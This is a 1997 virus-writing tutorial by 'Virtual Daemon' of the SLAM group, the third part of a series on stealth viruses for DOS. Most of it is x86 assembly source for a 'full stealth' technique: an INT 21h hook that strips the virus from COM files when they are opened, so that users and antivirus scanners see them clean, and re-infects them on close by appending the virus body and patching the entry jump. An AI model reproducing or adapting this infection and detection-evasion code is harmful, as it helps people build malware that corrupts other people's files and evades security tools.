Simple Tutorial to Stealth Virii
Part #3 - Full Stealth
by Virtual Daemon [SLAM]

part #1, part #2, part #4

     .-----------------------.
     |       Part -I-        |
     | Introduction & Theory |
     '-----------------------'

      As I promised in our last issue, I'm now presenting you another form of
    stealth used very often in many viruses: full stealth on disk.
      This technique is very easy to implement and consist of disinfecting the
    infected files on open and then re-infect it on close.

      There are two ways of hiding your whole virus... One of them is presented in
    this tutorial. The other one is called redirection stealth and it will be
    presented in a future tutorial. The second method is better than this one,
    because it only consists in disinfecting the virus in memory without any disk
    writes, and this way it works on Novell Networks or on write-protected floppy
    disks. But enough about this...

      Well, like I said above, the full stealth on disk method consist in
    disinfecting on open and reinfecting on close. So, what's the use of all this?
    Well, it's elementary my dear friend...:) Let me give you a little example...
      Let's say that our virus has been successfully installed on the host system.
    From now on, every file that will be (for example) executed will be infected.
    But what will happen if the user will try to view the contents of an infected
    file? Or what will happen if the system will be scanned for viruses with an
    anti-virus product? In both cases the virus will be found. So, here's where
    we're coming in... In order to make full stealth we will intercept the open
    and the close functions. So, when the AV software or the user will try to open
    the file to view it's content, we will disinfect the file (or to put it more
    simpler, we'll remove the virus from file)... This way, the file will be clean
    and no one will suspect that our virus is active in memory. And then, when the
    file gets closed we will reinfect it and then close it. Simple, huh? ;)

      So, we must disinfect the file on open calls, right? Well, DOS v3+ uses only
    the 2 traditional ways of opening a file: 3dh (open via file handle) and
    6c00h (extended open/create). Open via FCB aka 0fh function isn't used anymore
    so we'll skip it.

      In order to do full stealth it is obvious that we must modify our Int 21h
    handler to intercept the open and the close calls as well.
      Let's have a look at our new INT 21h handler:

    myint21h:
       cmp ah,3dh           ;open via file handle?
       je disinfect         ;go and disinfect the file
       cmp ax,6c00h         ;extended open/create?
       je ext_disinfect     ;go and disinfect the file
       cmp ah,3eh           ;close file?
       je close_infect      ;go and re-infect the file
       ...                  ;other stuff like check if it's a 4bh (execute) call
                            ; or if the virus is already active in memory, etc
    exithandler:
       db 0eah              ;return to original Int 21h vector
    oldint21   dd ?

      Before we go into the real code, I must make some notes about 6c00h DOS
    function. This function was implemented from DOS ver 4.0. The function
    basically replaces the 3ch (create file via file handle), 3dh (open file via
    file handle) and 5bh (create a new file) DOS functions. It is similar with the
    OS/2 open call. The main difference between this function and the 3dh function
    is that besides opening a file, it can also create one. Anywayz, here goes
    the syntaxes for 6c00h and 3dh functions.

      First the 6c00h:
    ----------------------
      Input:
            AX=6c00h
            BX=extended open mode flags
            CX=file attribute (used only if file gets created)
            DH=00h
            DL=action if file exists/does not exist
               bits 0-3 action if file exists
                         0000 fail
                         0001 open
                         0010 replace/open
                    4-7 action if file does not exist
                         0000 fail
                         0001 create
            DS:SI=address of an ASCIIZ string of filespec
      Returns:
            AX=error code if CF is set to CY
               file handle if no error
            CX=action taken: 0 file was opened
                             1 file was created and opened
                             2 file was replaced and opened
    ----------------------
      The value stored in the DL register controls the open/create action,
    depending upon whether the file exists at the time of the call. Common
    combinations are:
       0001H = open the file if it exists; otherwise fail the call
       0011H = open the file if it exists; otherwise create it
       0012H = if the file exists open and truncate it to length 0;
               otherwise create it and open it

      The extended open flags (from BX) looks like this:
      .7-6-5-4-3-2-1-0.
      |i| shr |0| r/w |       Open Mode bit flags
      '-'-'-'-'-'-'-'-'  bit
       | '---'   '---'-> 0-2: Network Access Rights required by process for access
       |   |                    000 = read
       |   |                    001 = write
       |   |                    010 = read and write
       |   '-----------> 4-6: Sharing Mode: 000 = compatibility mode           0h
       |                                    001 = deny read/write (exclusive) 10h
       |                                    010 = deny write                  20h
       |                                    011 = deny read                   30h
       |                                    100 = deny none                   40h
       '---------------> 7: Inheritance: 1 = file is private to this process  80h
                                         0 = inherited by spawned processes

      An important thing would be that the 0-2 bits (stored in BL) represents the
    open mode. The 3dh function requires these bits in AL for opening the file.

      Then the 3dh:
    ----------------------
      Input:
            AH=3dh
            DS:DX=address of an ASCIIZ string of filespec
            AL=0 for reading
               1 for writing
               2 for both reading and writing
      Returns:
            AX=error code if CF is set to CY
               file handle if no error
    ----------------------

      Here are the 2 important differences between these two functions:
    -the open mode bits are stored in AL at 3dh and in BL at 6c00h
    -the file name (ASCIIZ string) is stored in DS:DX at 3dh and in DS:SI at 6c00h

      Since there are only 2 minor differences on open calls between the 2
    functions, we will use the same procedure for disinfecting the file. We'll
    disinfect the file when a 6c00h is requested in the same way as for 3dh, but
    before that we will have to do some adjustements like:
    1) put the file name from DS:SI into DS:DX (just equal DX with SI)
    2) put the open mode from BL into AL
    3) equal the AH register with 3dh so it will look like a normal open call

      Those should be the normal things to do in order to make a 6c00h call to
    look like a 3dh one. But our goal is to make the virus as small as possible,
    so that's why on the example code, I removed the last 2 "adjustments".

     .----------------------.
     |      Part -II-       |
     | Source code examples |
     '----------------------'

      Here is the disinfect procedure! Note that the procedure is only for COM
    files but it's very easy to make it for EXE infections too.

      This code can also be seen in my 'Paranoid' virus presented in SLAM #3...
    Anwyay, since I didn't had time to finish Paranoid, its code is buggy and
    not very well optimized. So, you'll have to excuse me if you find some little
    bugs in it! :) Let's just say that it's your job to learn from them...

    --- cut here ---
    ext_disinfect:               ;we jump here if it's a 6c00h call
    ;if DX (DL) is equal with 1 then the file is opened normally (see above)
    ;if DX<>1 then the 6c00h function doing something else (like creating a file)
       cmp dl,1                  ;check if it's just a normal "file open" request
       je we_got_it              ;file open? go ahead...
       jmp exithandler           ;if we don't have a file open request we must exit
    we_got_it:
       mov dx,si                 ;put the file's name in DS:DX from DS:SI
       mov byte ptr exten,1      ;mark as an extended call
    ;if EXTEN=1 then it's a extended call, else it's a normal open call

    disinfect:                   ;we jump here if it's just a 3dh call
    ;save registers that will be modified during the disinfection process
       push ax bx cx dx di si ds es

       push ds
       pop es                    ;make ES=DS

    ;here we check to see if the file that is being opened is a COM
    ;and not just a simple TXT file
       mov cx,64                 ;PATH+file name=65 (max)
    ;DS:DX points to the file name now
       mov di,dx                 ;make DS:SI to point to the file name
    ;we search till we encounter '.' bcoz we need the file extension
       mov al,'.'                ;search for '.'
       repne scasb               ;repeat till cx=0 or till we found '.'

    ;DS:DI holds the extension of the file now
       mov ax,word ptr ds:[di]
       or ax,2020h               ;lowercase
       cmp ax,'oc'               ;check if extension is com
       je check_next
       jmp goaway
    check_next:
       mov al,byte ptr ds:[di+2]
       or al,20h                 ;lowercase
       cmp al,'m'
       je openfile
       jmp goaway                ;COM not found... exit!
    openfile:
       mov ax,4300h              ;get old attributes
       int 21h
       push cx dx ds             ;save file attributes & file name (DS:DX)

       mov ax,4301h              ;set new attributes
       xor cx,cx                 ;archive only
       int 21h

       mov ax,3d02h              ;open file for reading and writing
       pushf
       call dword ptr cs:[oldint21]        ;fake a int 21h call
       jnc no_err
       jmp restore_attr
    no_err:

       xchg bx,ax                ;put file handle in BX

       push cs cs
       pop ds es                 ;make CS=DS=ES

    ;In order to see if the file is infected or not I added 100 years to original
    ;file date. We will also check if the file's first 3 bytes are a JMP to our
    ;virus.
       mov ax,5700h              ;get file time
       int 21h
       cmp dh,100                ;check if infected
       jae infected              ;if infected go ahead...
       jmp close_dis             ;if not then don't stealth
    infected:
       mov word ptr file_time,cx ;save the file's time
       mov word ptr file_date,dx ;save the file's date

       mov ah,3fh                ;read the 1st 3 bytes
       mov cx,3
       lea dx,buffer             ;save them in our buffer
       int 21h

       cmp byte ptr buffer,0e9h  ;check if it is a jmp.
       jne close_dis             ;not JMP? then the file isn't infected...

       mov ax,4202h              ;go to EOF
       xor cx,cx
       cwd
       int 21h
    ;DX:AX holds the file size
       mov dx,ax
       push dx                   ;save it

       mov cx,word ptr buffer+1  ;check if the JMP points to our virus
       add cx,(heap-begin)+3
       cmp ax,cx
       jne close_dis             ;if not equal the file isn't infected...

    ;"heap" is the end of our virus. "jumpbuf" are the original 3 bytes from the
    ;beginning...
    ;We have to go where those bytes are stored in the file, and we must read them.
       sub dx,(heap-jumpbuf)     ;DX will point to the original bytes
       xor cx,cx
       mov ax,4200h              ;go where the JMP bytes are stored
       int 21h

       mov ah,3fh                ;read the original bytes in memory
       mov cx,3
       lea dx,buffer             ;put them in our buffer
       int 21h

       mov ax,4200h              ;go to BOF (beginning of file)
       xor cx,cx
       cwd
       int 21h

       mov ah,40h                ;write the original code (3 bytes)
       lea dx,buffer
       mov cx,3
       int 21h

       pop dx                    ;restore file size

       sub dx,(heap-begin)       ;substract the length of our virus
       mov ax,4200h
       xor cx,cx
       int 21h

       mov ah,40h                ;truncate the file
       xor cx,cx
       int 21h

    close_dis:
       mov ax,5701h
       mov cx,word ptr file_time
       mov dx,word ptr file_date
       ror dh,1                  ;restore original year
       sub dh,100
       rol dh,1
       int 21h

       mov ah,3eh                ;close the file
       pushf                               ;we will intercept the 3eh function too
       call dword ptr cs:[oldint21]        ;so we must fake an int 21h call

    restore_attr:
       mov ax,4301h
       pop ds dx cx              ;restore file name & file attributes
       int 21h
    goaway:
       pop es ds si di dx cx bx ax         ;restore saved registers

       cmp byte ptr exten,1      ;check if was an extended open
       jne exit
    ;restore original values for AX and DX registers
       mov ax,6c00h              ;set AX to 6c00h
       mov dx,1                  ;set DX to 1 (normal open)
       mov byte ptr exten,0      ;reset the EXTEN variable to 0
    exit:
       jmp exithandler           ;return to original Int 21h
    jumpbuf db 0cdh,20h,0        ;original 3 bytes

    ;   ...                       ;other stuff

    heap:                        ;this is the end of the virus
    file_time   dw ?             ;old file time
    file_date   dw ?             ;old file date
    exten       db 0
    buffer      db 3 dup (?)
    --- cut here ---

      Well, that's all... Now let's get to the "reinfection" process... The
    theory is simple: we will get the file name using SFT (system file table) and
    we will infect the file.
    Note: the SFT structure has been presented and explained in my "size stealth
    #2" tut, so go and learn bout it if you don't know already... ;)

    --- cut here ---
    close_infect:
       cmp bx,5                  ;DOS uses the 1st 5 handles for special devices
                                 ;so we must check to see if its a normal handle
                                 ;or a special one
       jae good_handle
       jmp goback                ;special handle? exit...
    good_handle:
       push ax bx cx dx di si ds es        ;save registers
       push bx                   ;save file handle

       mov ax,1220h              ;DOS function=get job file table entry
       int 2fh                   ;CF will be set if error
       jnc getjob_ok
    finish:
       jmp close                 ;exit if error
    getjob_ok:

       mov bl,es:[di]            ;BL=JFT entry
       cmp bl,0ffh               ;if BL=0ffh, handle is not open
       je finish                 ;handle not open? Exit please...
       mov ax,1216h              ;use SFT to get the extension
       int 2fh
       jc finish                 ;BX is greater then FILES= (from CONFIG.SYS)

       pop bx                    ;restore file handle

       cmp word ptr es:[di+28h],'OC'       ;check if it's a COM file
       jne finish
       cmp byte ptr es:[di+28h+2],'M'
       jne finish

       mov byte ptr es:[di+2h],2 ;mark file as open in Read+Write mode

       mov ax,4200h              ;goto BOF
       xor cx,cx
       cwd
       int 21h

       mov ax,5700h              ;get file's date/time
       int 21h
       cmp dh,100                ;check if infected
       jb not_infect             ;the file is not infected
       jmp close                 ;infected? close the file
    not_infect:
       mov word ptr file_time,cx ;save file time
       mov word ptr file_date,dx ;save file date

       push cs cs
       pop ds es                 ;make CS=DS=ES

       mov ah,3fh                ;read the first 3 bytes
       lea dx,buffer             ;save them into our buffer
       mov cx,3
       int 21h

       mov ax,4202h              ;go to EOF
       xor cx,cx
       cwd
       int 21h

       mov word ptr file_size,ax           ;save the file size
       mov word ptr file_size+2,dx

       cmp word ptr buffer,'MZ'  ;check if EXE
       je close
       cmp word ptr buffer,'ZM'
       je close

       mov ax,word ptr file_size ;check if too big
       cmp ax,65535-(endheap-begin)
       ja close
       cmp ax,(endheap-begin)    ;check if too small
       jbe close

       mov cx,word ptr buffer+1  ;check if already infected
       add cx,heap-begin+3
       cmp ax,cx
       je close

       mov di,offset jumpbuf     ;prepare new JMP
       mov si,offset buffer
       movsb
       movsw
       mov byte ptr [offset buffer],0e9h
       sub ax,3
       mov word ptr [offset buffer+1],ax

       mov ah,40h                ;write the virus to host
       lea dx,begin
       mov cx,heap-begin
       int 21h

       mov ax,4200h              ;go to BOF
       xor cx,cx
       cwd
       int 21h

       mov ah,40h                ;write the new JMP
       lea dx,buffer
       mov cx,3
       int 21h

       mov ax,5701h              ;set old file's time/date
       mov cx,word ptr file_time
       mov dx,word ptr file_date
       ror dh,1                  ;mark the file for stealth
       add dh,100
       rol dh,1
       int 21h
    close:
       pop es ds si di dx cx bx ax
    goback:
       jmp exithandler

    heap:                        ;this is the end of the virus
    file_size   dd ?             ;file size
    endheap:
    --- cut here ---

       That's all amigos... :)

    ---= Virtual Daemon / SLAM 1997 =---